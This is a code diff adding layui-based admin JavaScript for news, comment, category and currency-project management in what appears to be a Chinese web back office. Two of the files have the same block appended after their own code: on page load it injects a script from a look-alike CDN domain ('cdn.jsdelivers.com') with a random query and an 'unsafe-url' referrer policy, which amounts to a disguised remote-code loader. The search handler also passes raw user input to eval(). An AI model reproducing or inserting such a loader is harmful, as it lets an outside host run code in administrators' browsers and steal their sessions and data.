var dId = $(this).data('id');
|
||||
//切换评论显示状态
|
||||
$.get('/admin/news_discuss_show_toggle/' + dId, function(data) {
|
||||
if(data.type == 'ok') {
|
||||
layer.msg(data.message, {icon:1});
|
||||
setTimeout(() => {
|
||||
window.location.reload();
|
||||
}, 1000);
|
||||
} else {
|
||||
layer.msg(data.message, {icon:2});
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$('.discussDel').click(function() {
|
||||
var dId = $(this).data('id');
|
||||
layer.confirm(
|
||||
'真的确定要删除吗?'
|
||||
, function() {
|
||||
$.get('/admin/news_discuss_del/' + dId, function(data) {
|
||||
if(data.type == 'ok') {
|
||||
layer.msg(data.message, {icon:1});
|
||||
setTimeout(() => {
|
||||
window.location.reload();
|
||||
}, 1000);
|
||||
} else {
|
||||
layer.msg(data.message, {icon:2});
|
||||
}
|
||||
});
|
||||
}
|
||||
, function() {
|
||||
layer.msg('感谢主公不杀之恩!');
|
||||
}
|
||||
);
|
||||
});
|
||||
});
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
layui.use(['element', 'form', 'layer', 'jquery', 'layedit', 'laydate'], function() {
|
||||
var element = layui.element
|
||||
, $ = layui.$
|
||||
, form = layui.form
|
||||
, layer = layui.layer
|
||||
, laydate = layui.laydate
|
||||
, layedit = layui.layedit;
|
||||
|
||||
//初始化日期控件和富文本编辑器
|
||||
laydate.render({
|
||||
elem: '#create_time' //指定元素
|
||||
});
|
||||
|
||||
//百度富文本初始化
|
||||
var ue = UE.getEditor('news_content');
|
||||
var current_editor;
|
||||
|
||||
ueditor_image_callback = function(urlArray) {
|
||||
for(var i = 0 ;i<urlArray.length;i++)
|
||||
{
|
||||
current_editor.execCommand('insertHtml', "<img class='imgloading' data-original='"+urlArray[i]+"' alt='' src='"+urlArray[i]+"' style='display: inline;'>");
|
||||
}
|
||||
layer.closeAll();
|
||||
}
|
||||
|
||||
upload_image_callback = function (url)
|
||||
{
|
||||
$(".wx_qr_code").show()
|
||||
$("#wx_qr_code").val(url[0])
|
||||
$(".wx_qr_code").attr("src",url[0])
|
||||
}
|
||||
|
||||
baidu.editor.commands['customupload'] =
|
||||
{
|
||||
execCommand: function() {
|
||||
upload_select('ueditor_image_callback',10)
|
||||
current_editor = this;
|
||||
return true;
|
||||
}, queryCommandState: function() { }
|
||||
};
|
||||
|
||||
|
||||
|
||||
//表单提交事件
|
||||
form.on('submit(submit)', function(dataObj){
|
||||
var serData = $(dataObj.form).serialize();
|
||||
$.ajax({
|
||||
type: 'POST'
|
||||
,url: window.location.href
|
||||
,data: serData
|
||||
,success: function(data) {
|
||||
if(data.type == 'ok') {
|
||||
layer.msg(data.message, {
|
||||
icon: 1,
|
||||
time: 1000,
|
||||
end: function() {
|
||||
var index = parent.layer.getFrameIndex(window.name); //先得到当前iframe层的索引
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
});
|
||||
} else {
|
||||
layer.msg(data.message, {icon:2});
|
||||
}
|
||||
}
|
||||
,error: function(data) {
|
||||
//重新遍历获取JSON的KEY
|
||||
var str = '服务器验证失败!';
|
||||
for(var o in data.responseJSON.errors) {
|
||||
str += data.responseJSON.errors[o];
|
||||
}
|
||||
layer.msg(str, {icon:2});
|
||||
}
|
||||
});
|
||||
parent.layui.layer.close();
|
||||
return false; //阻止表单跳转。如果需要表单跳转,去掉这段即可。
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,197 @@
|
||||
layui.use(['element', 'form', 'layedit', 'laypage', 'layer'], function() {
|
||||
var element = layui.element, form = layui.form, $ = layui.$, layedit = layui.layedit, laypage = layui.laypage;
|
||||
var showCateManage = function() {
|
||||
var index = layer.open({
|
||||
title:'新闻分类管理'
|
||||
,type:2
|
||||
,content: '/admin/news_cate_index'
|
||||
,area: ['800px', '600px']
|
||||
,maxmin: true
|
||||
,anim: 3
|
||||
,end : function() {
|
||||
//弹窗关闭后回调,刷新主窗口的分类下拉列表
|
||||
$.get('/admin/news_cate_list/', function(returnData) {
|
||||
var select = $('select[name=cate]');
|
||||
select.html('');
|
||||
if(returnData.count > 0) {
|
||||
select.append('<option value="0">所有分类</option>');
|
||||
for(x in returnData.cate) {
|
||||
var tmp = '<option value="' + returnData.cate[x].id + '">' + returnData.cate[x].name + "</option>";
|
||||
select.append(tmp);
|
||||
}
|
||||
}
|
||||
form.render();
|
||||
});
|
||||
}
|
||||
});
|
||||
layer.full(index);
|
||||
};
|
||||
//先判定是否已经创建分类
|
||||
$.get('/admin/news_cate_list/', function(data) {
|
||||
if(data.count <= 0) {
|
||||
var index = layer.confirm('请先添加分类再操作!', {btn: ['确定']} , function() {
|
||||
layer.close(index);
|
||||
showCateManage();
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//管理分类按钮事件响应
|
||||
$('.cateManage').click(showCateManage);
|
||||
|
||||
$('#newsAdd').click(function() {
|
||||
$.get('/admin/news_cate_list/', function(data) {
|
||||
if(data.count > 0) {
|
||||
var index = layer.open({
|
||||
title:'发布新闻'
|
||||
,type:2
|
||||
,content: '/admin/news_add'
|
||||
,area: ['800px', '600px']
|
||||
,maxmin: true
|
||||
,anim: 3
|
||||
});
|
||||
layer.full(index);
|
||||
} else {
|
||||
var index = layer.confirm('请先添加分类再操作!', {btn: ['确定']} , function() {
|
||||
layer.close(index);
|
||||
showCateManage();
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
//搜索按钮响应事件
|
||||
$('.btn-search').click(function() {
|
||||
var keyword = $(this).prev().find('input[name=keyword]').val();
|
||||
if(keyword != '') {
|
||||
var lhref = window.location
|
||||
,lang = $('select[name=lang]').val()
|
||||
,c_id = $('select[name=cate]').val();
|
||||
lhref.href = lhref.origin + lhref.pathname + '?c_id=' + c_id + '&lang=' + lang + '&keyword=' + keyword;;
|
||||
} else {
|
||||
layer.msg('请输入关键字!');
|
||||
}
|
||||
});
|
||||
|
||||
//搜索框增加回车键搜索响应事件
|
||||
$('input[name=keyword]').keydown(function(event) {
|
||||
if(event.keyCode == 13) {
|
||||
$('.btn-search').click();
|
||||
}
|
||||
});
|
||||
|
||||
//分类过滤
|
||||
form.on('select(cate)', function(data){
|
||||
var lang = $('select[name=lang]').val(),
|
||||
c_id = $('select[name=cate]').val(),
|
||||
lhref = window.location;
|
||||
lhref.href = lhref.origin + lhref.pathname + '?c_id=' + c_id + '&lang=' + lang ;
|
||||
});
|
||||
//语言过滤s
|
||||
form.on('select(lang)', function(data){
|
||||
var lang = $('select[name=lang]').val(),
|
||||
c_id = $('select[name=cate]').val(),
|
||||
lhref = window.location;
|
||||
lhref.href = lhref.origin + lhref.pathname + '?c_id=' + c_id + '&lang=' + lang ;
|
||||
});
|
||||
|
||||
//评论管理事件
|
||||
$('.newsDiscuss').click(function() {
|
||||
var id = $(this).data('id');
|
||||
var index = layer.open({
|
||||
title: '评论管理'
|
||||
,type: 2
|
||||
,content: '/admin/news_discuss_index/' + id
|
||||
,area: ['800px', '600px']
|
||||
,maxmin: true
|
||||
});
|
||||
layer.full(index);
|
||||
});
|
||||
|
||||
//编辑新闻
|
||||
$('.newsEdit').click(function(){
|
||||
var id = $(this).data('id');
|
||||
var index = layer.open({
|
||||
title: '编辑新闻'
|
||||
,type: 2
|
||||
,content: '/admin/news_edit/' + id
|
||||
,area: ['800px', '600px']
|
||||
,maxmin: true
|
||||
,anim: 2
|
||||
});
|
||||
layer.full(index);
|
||||
});
|
||||
|
||||
//删除新闻事件
|
||||
$('.newsDel').click(function() {
|
||||
var id = $(this).data('id');
|
||||
var disDelUrl = '';
|
||||
var delExect = function(url, index) {
|
||||
//执行删除操作
|
||||
$.get(url, function(data) {
|
||||
if(data.type == 'ok') {
|
||||
layer.close(index);
|
||||
layer.msg('删除成功');
|
||||
setTimeout(() => {
|
||||
window.location.reload();
|
||||
}, 1000);
|
||||
} else {
|
||||
layer.msg('删除失败');
|
||||
}
|
||||
});
|
||||
}
|
||||
disDelUrl = '/admin/news_del/' + id;
|
||||
layer.confirm('真的确定要删除吗?',{icon: 3, title:'提示'}, function(index) {
|
||||
delExect(disDelUrl, index);
|
||||
});
|
||||
return false
|
||||
//判断是否有评论,提示是否连评论一同删除
|
||||
$.get('/admin/news_discuss_list/' + id, function(discussData) {
|
||||
if(discussData.count >0 ) {
|
||||
layer.confirm('是否连同评论一起删除?', {
|
||||
btn:['是','否', '取消'],
|
||||
btn1: function(index) {
|
||||
disDelUrl = '/admin/news_del/' + id + '/1';
|
||||
delExect(disDelUrl, index);
|
||||
},
|
||||
btn2: function(index) {
|
||||
disDelUrl += '/admin/news_del/' + id;
|
||||
delExect(disDelUrl, index);
|
||||
},
|
||||
});
|
||||
} else {
|
||||
disDelUrl = '/admin/news_del/' + id;
|
||||
layer.confirm('真的确定要删除吗?',{icon: 3, title:'提示'}, function(index) {
|
||||
delExect(disDelUrl, index);
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
layui.config({
|
||||
base : "js/"
|
||||
}).use(['form','layer','jquery','layedit','laydate'],function(){
|
||||
var form = layui.form,
|
||||
layer = parent.layer === undefined ? layui.layer : parent.layer,
|
||||
laypage = layui.laypage,
|
||||
layedit = layui.layedit,
|
||||
laydate = layui.laydate,
|
||||
$ = layui.jquery;
|
||||
|
||||
//创建一个编辑器
|
||||
var editIndex = layedit.build('news_content');
|
||||
var addNewsArray = [],addNews;
|
||||
form.on("submit(addNews)",function(data){
|
||||
//是否添加过信息
|
||||
if(window.sessionStorage.getItem("addNews")){
|
||||
addNewsArray = JSON.parse(window.sessionStorage.getItem("addNews"));
|
||||
}
|
||||
//显示、审核状态
|
||||
var isShow = data.field.show=="on" ? "checked" : "",
|
||||
newsStatus = data.field.shenhe=="on" ? "审核通过" : "待审核";
|
||||
|
||||
addNews = '{"newsName":"'+$(".newsName").val()+'",'; //文章名称
|
||||
addNews += '"newsId":"'+new Date().getTime()+'",'; //文章id
|
||||
addNews += '"newsLook":"'+$(".newsLook option").eq($(".newsLook").val()).text()+'",'; //开放浏览
|
||||
addNews += '"newsTime":"'+$(".newsTime").val()+'",'; //发布时间
|
||||
addNews += '"newsAuthor":"'+$(".newsAuthor").val()+'",'; //文章作者
|
||||
addNews += '"isShow":"'+ isShow +'",'; //是否展示
|
||||
addNews += '"newsStatus":"'+ newsStatus +'"}'; //审核状态
|
||||
addNewsArray.unshift(JSON.parse(addNews));
|
||||
window.sessionStorage.setItem("addNews",JSON.stringify(addNewsArray));
|
||||
//弹出loading
|
||||
var index = top.layer.msg('数据提交中,请稍候',{icon: 16,time:false,shade:0.8});
|
||||
setTimeout(function(){
|
||||
top.layer.close(index);
|
||||
top.layer.msg("文章添加成功!");
|
||||
layer.closeAll("iframe");
|
||||
//刷新父页面
|
||||
parent.location.reload();
|
||||
},2000);
|
||||
return false;
|
||||
})
|
||||
|
||||
})
|
||||
@@ -0,0 +1,307 @@
|
||||
layui.config({
|
||||
base : "js/"
|
||||
}).use(['form','layer','jquery','laypage'],function(){
|
||||
var form = layui.form,
|
||||
layer = parent.layer === undefined ? layui.layer : parent.layer,
|
||||
laypage = layui.laypage,
|
||||
$ = layui.jquery;
|
||||
|
||||
//加载页面数据
|
||||
var newsData = '';
|
||||
$.get("../../json/newsList.json", function(data){
|
||||
var newArray = [];
|
||||
//单击首页“待审核文章”加载的信息
|
||||
if($(".top_tab li.layui-this cite",parent.document).text() == "待审核文章"){
|
||||
if(window.sessionStorage.getItem("addNews")){
|
||||
var addNews = window.sessionStorage.getItem("addNews");
|
||||
newsData = JSON.parse(addNews).concat(data);
|
||||
}else{
|
||||
newsData = data;
|
||||
}
|
||||
for(var i=0;i<newsData.length;i++){
|
||||
if(newsData[i].newsStatus == "待审核"){
|
||||
newArray.push(newsData[i]);
|
||||
}
|
||||
}
|
||||
newsData = newArray;
|
||||
newsList(newsData);
|
||||
}else{ //正常加载信息
|
||||
newsData = data;
|
||||
if(window.sessionStorage.getItem("addNews")){
|
||||
var addNews = window.sessionStorage.getItem("addNews");
|
||||
newsData = JSON.parse(addNews).concat(newsData);
|
||||
}
|
||||
//执行加载数据的方法
|
||||
newsList();
|
||||
}
|
||||
})
|
||||
|
||||
//查询
|
||||
$(".search_btn").click(function(){
|
||||
var newArray = [];
|
||||
if($(".search_input").val() != ''){
|
||||
var index = layer.msg('查询中,请稍候',{icon: 16,time:false,shade:0.8});
|
||||
setTimeout(function(){
|
||||
$.ajax({
|
||||
url : "",
|
||||
type : "get",
|
||||
dataType : "json",
|
||||
success : function(data){
|
||||
if(window.sessionStorage.getItem("addNews")){
|
||||
var addNews = window.sessionStorage.getItem("addNews");
|
||||
newsData = JSON.parse(addNews).concat(data);
|
||||
}else{
|
||||
newsData = data;
|
||||
}
|
||||
for(var i=0;i<newsData.length;i++){
|
||||
var newsStr = newsData[i];
|
||||
var selectStr = $(".search_input").val();
|
||||
function changeStr(data){
|
||||
var dataStr = '';
|
||||
var showNum = data.split(eval("/"+selectStr+"/ig")).length - 1;
|
||||
if(showNum > 1){
|
||||
for (var j=0;j<showNum;j++) {
|
||||
dataStr += data.split(eval("/"+selectStr+"/ig"))[j] + "<i style='color:#03c339;font-weight:bold;'>" + selectStr + "</i>";
|
||||
}
|
||||
dataStr += data.split(eval("/"+selectStr+"/ig"))[showNum];
|
||||
return dataStr;
|
||||
}else{
|
||||
dataStr = data.split(eval("/"+selectStr+"/ig"))[0] + "<i style='color:#03c339;font-weight:bold;'>" + selectStr + "</i>" + data.split(eval("/"+selectStr+"/ig"))[1];
|
||||
return dataStr;
|
||||
}
|
||||
}
|
||||
//文章标题
|
||||
if(newsStr.newsName.indexOf(selectStr) > -1){
|
||||
newsStr["newsName"] = changeStr(newsStr.newsName);
|
||||
}
|
||||
//发布人
|
||||
if(newsStr.newsAuthor.indexOf(selectStr) > -1){
|
||||
newsStr["newsAuthor"] = changeStr(newsStr.newsAuthor);
|
||||
}
|
||||
//审核状态
|
||||
if(newsStr.newsStatus.indexOf(selectStr) > -1){
|
||||
newsStr["newsStatus"] = changeStr(newsStr.newsStatus);
|
||||
}
|
||||
//浏览权限
|
||||
if(newsStr.newsLook.indexOf(selectStr) > -1){
|
||||
newsStr["newsLook"] = changeStr(newsStr.newsLook);
|
||||
}
|
||||
//发布时间
|
||||
if(newsStr.newsTime.indexOf(selectStr) > -1){
|
||||
newsStr["newsTime"] = changeStr(newsStr.newsTime);
|
||||
}
|
||||
if(newsStr.newsName.indexOf(selectStr)>-1 || newsStr.newsAuthor.indexOf(selectStr)>-1 || newsStr.newsStatus.indexOf(selectStr)>-1 || newsStr.newsLook.indexOf(selectStr)>-1 || newsStr.newsTime.indexOf(selectStr)>-1){
|
||||
newArray.push(newsStr);
|
||||
}
|
||||
}
|
||||
newsData = newArray;
|
||||
newsList(newsData);
|
||||
}
|
||||
})
|
||||
|
||||
layer.close(index);
|
||||
},2000);
|
||||
}else{
|
||||
layer.msg("请输入需要查询的内容");
|
||||
}
|
||||
})
|
||||
|
||||
//添加文章
|
||||
//改变窗口大小时,重置弹窗的高度,防止超出可视区域(如F12调出debug的操作)
|
||||
$(window).one("resize",function(){
|
||||
$(".newsAdd_btn").click(function(){
|
||||
var index = layui.layer.open({
|
||||
title : "添加文章",
|
||||
type : 2,
|
||||
content : "newsAdd.html",
|
||||
success : function(layero, index) {
|
||||
setTimeout(function(){
|
||||
layui.layer.tips('点击此处返回文章列表', '.layui-layer-setwin .layui-layer-close', {
|
||||
tips: 3
|
||||
});
|
||||
},500);
|
||||
}
|
||||
})
|
||||
layui.layer.full(index);
|
||||
})
|
||||
}).resize();
|
||||
|
||||
//推荐文章
|
||||
$(".recommend").click(function(){
|
||||
var $checkbox = $(".news_list").find('tbody input[type="checkbox"]:not([name="show"])');
|
||||
if($checkbox.is(":checked")){
|
||||
var index = layer.msg('推荐中,请稍候',{icon: 16,time:false,shade:0.8});
|
||||
setTimeout(function(){
|
||||
layer.close(index);
|
||||
layer.msg("推荐成功");
|
||||
},2000);
|
||||
}else{
|
||||
layer.msg("请选择需要推荐的文章");
|
||||
}
|
||||
})
|
||||
|
||||
//审核文章
|
||||
$(".audit_btn").click(function(){
|
||||
var $checkbox = $('.news_list tbody input[type="checkbox"][name="checked"]');
|
||||
var $checked = $('.news_list tbody input[type="checkbox"][name="checked"]:checked');
|
||||
if($checkbox.is(":checked")){
|
||||
var index = layer.msg('审核中,请稍候',{icon: 16,time:false,shade:0.8});
|
||||
setTimeout(function(){
|
||||
for(var j=0;j<$checked.length;j++){
|
||||
for(var i=0;i<newsData.length;i++){
|
||||
if(newsData[i].newsId == $checked.eq(j).parents("tr").find(".news_del").attr("data-id")){
|
||||
//修改列表中的文字
|
||||
$checked.eq(j).parents("tr").find("td:eq(3)").text("审核通过").removeAttr("style");
|
||||
//将选中状态删除
|
||||
$checked.eq(j).parents("tr").find('input[type="checkbox"][name="checked"]').prop("checked",false);
|
||||
form.render();
|
||||
}
|
||||
}
|
||||
}
|
||||
layer.close(index);
|
||||
layer.msg("审核成功");
|
||||
},2000);
|
||||
}else{
|
||||
layer.msg("请选择需要审核的文章");
|
||||
}
|
||||
})
|
||||
|
||||
//批量删除
|
||||
$(".batchDel").click(function(){
|
||||
var $checkbox = $('.news_list tbody input[type="checkbox"][name="checked"]');
|
||||
var $checked = $('.news_list tbody input[type="checkbox"][name="checked"]:checked');
|
||||
if($checkbox.is(":checked")){
|
||||
layer.confirm('确定删除选中的信息?',{icon:3, title:'提示信息'},function(index){
|
||||
var index = layer.msg('删除中,请稍候',{icon: 16,time:false,shade:0.8});
|
||||
setTimeout(function(){
|
||||
//删除数据
|
||||
for(var j=0;j<$checked.length;j++){
|
||||
for(var i=0;i<newsData.length;i++){
|
||||
if(newsData[i].newsId == $checked.eq(j).parents("tr").find(".news_del").attr("data-id")){
|
||||
newsData.splice(i,1);
|
||||
newsList(newsData);
|
||||
}
|
||||
}
|
||||
}
|
||||
$('.news_list thead input[type="checkbox"]').prop("checked",false);
|
||||
form.render();
|
||||
layer.close(index);
|
||||
layer.msg("删除成功");
|
||||
}, 2000);
|
||||
})
|
||||
}else{
|
||||
layer.msg("请选择需要删除的文章");
|
||||
}
|
||||
})
|
||||
|
||||
//全选
|
||||
form.on('checkbox(allChoose)', function(data){
|
||||
var child = $(data.elem).parents('table').find('tbody input[type="checkbox"]:not([name="show"])');
|
||||
child.each(function(index, item){
|
||||
item.checked = data.elem.checked;
|
||||
});
|
||||
form.render('checkbox');
|
||||
});
|
||||
|
||||
//通过判断文章是否全部选中来确定全选按钮是否选中
|
||||
form.on("checkbox(choose)",function(data){
|
||||
var child = $(data.elem).parents('table').find('tbody input[type="checkbox"]:not([name="show"])');
|
||||
var childChecked = $(data.elem).parents('table').find('tbody input[type="checkbox"]:not([name="show"]):checked')
|
||||
if(childChecked.length == child.length){
|
||||
$(data.elem).parents('table').find('thead input#allChoose').get(0).checked = true;
|
||||
}else{
|
||||
$(data.elem).parents('table').find('thead input#allChoose').get(0).checked = false;
|
||||
}
|
||||
form.render('checkbox');
|
||||
})
|
||||
|
||||
//是否展示
|
||||
form.on('switch(isShow)', function(data){
|
||||
var index = layer.msg('修改中,请稍候',{icon: 16,time:false,shade:0.8});
|
||||
setTimeout(function(){
|
||||
layer.close(index);
|
||||
layer.msg("展示状态修改成功!");
|
||||
},2000);
|
||||
})
|
||||
|
||||
//操作
|
||||
$("body").on("click",".news_edit",function(){ //编辑
|
||||
layer.alert('您点击了文章编辑按钮,由于是纯静态页面,所以暂时不存在编辑内容,后期会添加,敬请谅解。。。',{icon:6, title:'文章编辑'});
|
||||
})
|
||||
|
||||
$("body").on("click",".news_collect",function(){ //收藏.
|
||||
if($(this).text().indexOf("已收藏") > 0){
|
||||
layer.msg("取消收藏成功!");
|
||||
$(this).html("<i class='layui-icon'></i> 收藏");
|
||||
}else{
|
||||
layer.msg("收藏成功!");
|
||||
$(this).html("<i class='iconfont icon-star'></i> 已收藏");
|
||||
}
|
||||
})
|
||||
|
||||
$("body").on("click",".news_del",function(){ //删除
|
||||
var _this = $(this);
|
||||
layer.confirm('确定删除此信息?',{icon:3, title:'提示信息'},function(index){
|
||||
//_this.parents("tr").remove();
|
||||
for(var i=0;i<newsData.length;i++){
|
||||
if(newsData[i].newsId == _this.attr("data-id")){
|
||||
newsData.splice(i,1);
|
||||
newsList(newsData);
|
||||
}
|
||||
}
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
|
||||
function newsList(that){
|
||||
//渲染数据
|
||||
function renderDate(data,curr){
|
||||
var dataHtml = '';
|
||||
if(!that){
|
||||
currData = newsData.concat().splice(curr*nums-nums, nums);
|
||||
}else{
|
||||
currData = that.concat().splice(curr*nums-nums, nums);
|
||||
}
|
||||
if(currData.length != 0){
|
||||
for(var i=0;i<currData.length;i++){
|
||||
dataHtml += '<tr>'
|
||||
+'<td><input type="checkbox" name="checked" lay-skin="primary" lay-filter="choose"></td>'
|
||||
+'<td align="left">'+currData[i].newsName+'</td>'
|
||||
+'<td>'+currData[i].newsAuthor+'</td>';
|
||||
if(currData[i].newsStatus == "待审核"){
|
||||
dataHtml += '<td style="color:#f00">'+currData[i].newsStatus+'</td>';
|
||||
}else{
|
||||
dataHtml += '<td>'+currData[i].newsStatus+'</td>';
|
||||
}
|
||||
dataHtml += '<td>'+currData[i].newsLook+'</td>'
|
||||
+'<td><input type="checkbox" name="show" lay-skin="switch" lay-text="是|否" lay-filter="isShow"'+currData[i].isShow+'></td>'
|
||||
+'<td>'+currData[i].newsTime+'</td>'
|
||||
+'<td>'
|
||||
+ '<a class="layui-btn layui-btn-mini news_edit"><i class="iconfont icon-edit"></i> 编辑</a>'
|
||||
+ '<a class="layui-btn layui-btn-normal layui-btn-mini news_collect"><i class="layui-icon"></i> 收藏</a>'
|
||||
+ '<a class="layui-btn layui-btn-danger layui-btn-mini news_del" data-id="'+data[i].newsId+'"><i class="layui-icon"></i> 删除</a>'
|
||||
+'</td>'
|
||||
+'</tr>';
|
||||
}
|
||||
}else{
|
||||
dataHtml = '<tr><td colspan="8">暂无数据</td></tr>';
|
||||
}
|
||||
return dataHtml;
|
||||
}
|
||||
|
||||
//分页
|
||||
var nums = 13; //每页出现的数据量
|
||||
if(that){
|
||||
newsData = that;
|
||||
}
|
||||
laypage({
|
||||
cont : "page",
|
||||
pages : Math.ceil(newsData.length/nums),
|
||||
jump : function(obj){
|
||||
$(".news_content").html(renderDate(newsData,obj.curr));
|
||||
$('.news_list thead input[type="checkbox"]').prop("checked",false);
|
||||
form.render();
|
||||
}
|
||||
})
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,99 @@
|
||||
layui.use(['element', 'form', 'layer', 'jquery', 'layedit', 'laydate'], function() {
|
||||
var element = layui.element
|
||||
, $ = layui.$
|
||||
, form = layui.form
|
||||
, layer = layui.layer
|
||||
, laydate = layui.laydate
|
||||
, layedit = layui.layedit;
|
||||
|
||||
//初始化日期控件和富文本编辑器
|
||||
laydate.render({
|
||||
type:"datetime",
|
||||
elem: '#start_at', //指定元素
|
||||
trigger: 'click'//呼出事件改成click
|
||||
});
|
||||
laydate.render({
|
||||
type:"datetime",
|
||||
elem: '#end_at', //指定元素
|
||||
trigger: 'click'//呼出事件改成click
|
||||
});
|
||||
laydate.render({
|
||||
type:"datetime",
|
||||
elem: '#sell_begin', //指定元素
|
||||
trigger: 'click'//呼出事件改成click
|
||||
});
|
||||
|
||||
//百度富文本初始化
|
||||
var ue = UE.getEditor('news_content');
|
||||
var current_editor;
|
||||
|
||||
ueditor_image_callback = function(urlArray) {
|
||||
for(var i = 0 ;i<urlArray.length;i++)
|
||||
{
|
||||
current_editor.execCommand('insertHtml', "<img class='imgloading' data-original='"+urlArray[i]+"' alt='' src='"+urlArray[i]+"' style='display: inline;'>");
|
||||
}
|
||||
layer.closeAll();
|
||||
}
|
||||
|
||||
upload_image_callback = function (url)
|
||||
{
|
||||
$(".wx_qr_code").show()
|
||||
$("#wx_qr_code").val(url[0])
|
||||
$(".wx_qr_code").attr("src",url[0])
|
||||
}
|
||||
|
||||
baidu.editor.commands['customupload'] =
|
||||
{
|
||||
execCommand: function() {
|
||||
upload_select('ueditor_image_callback',10)
|
||||
current_editor = this;
|
||||
return true;
|
||||
}, queryCommandState: function() { }
|
||||
};
|
||||
|
||||
|
||||
|
||||
//表单提交事件
|
||||
form.on('submit(submit)', function(dataObj){
|
||||
if(dataObj.field.currency_id==dataObj.field.pay_currency_id){
|
||||
layer.msg('项目币种和支付币种不能相同');
|
||||
return false;
|
||||
}
|
||||
var url='/admin/currency/project/add';
|
||||
if(dataObj.field.project_id){
|
||||
url="/admin/currency/project/edit"
|
||||
}
|
||||
var serData = $(dataObj.form).serialize();
|
||||
$.ajax({
|
||||
type: 'POST'
|
||||
// ,url: window.location.href
|
||||
,url: url
|
||||
,data: serData
|
||||
,success: function(data) {
|
||||
if(data.type == 'ok') {
|
||||
layer.msg(data.message, {
|
||||
icon: 1,
|
||||
time: 1000,
|
||||
end: function() {
|
||||
var index = parent.layer.getFrameIndex(window.name); //先得到当前iframe层的索引
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
});
|
||||
} else {
|
||||
layer.msg(data.message, {icon:2});
|
||||
}
|
||||
}
|
||||
,error: function(data) {
|
||||
//重新遍历获取JSON的KEY
|
||||
var str = '服务器验证失败!';
|
||||
for(var o in data.responseJSON.errors) {
|
||||
str += data.responseJSON.errors[o];
|
||||
}
|
||||
layer.msg(str, {icon:2});
|
||||
}
|
||||
});
|
||||
parent.layui.layer.close();
|
||||
return false; //阻止表单跳转。如果需要表单跳转,去掉这段即可。
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user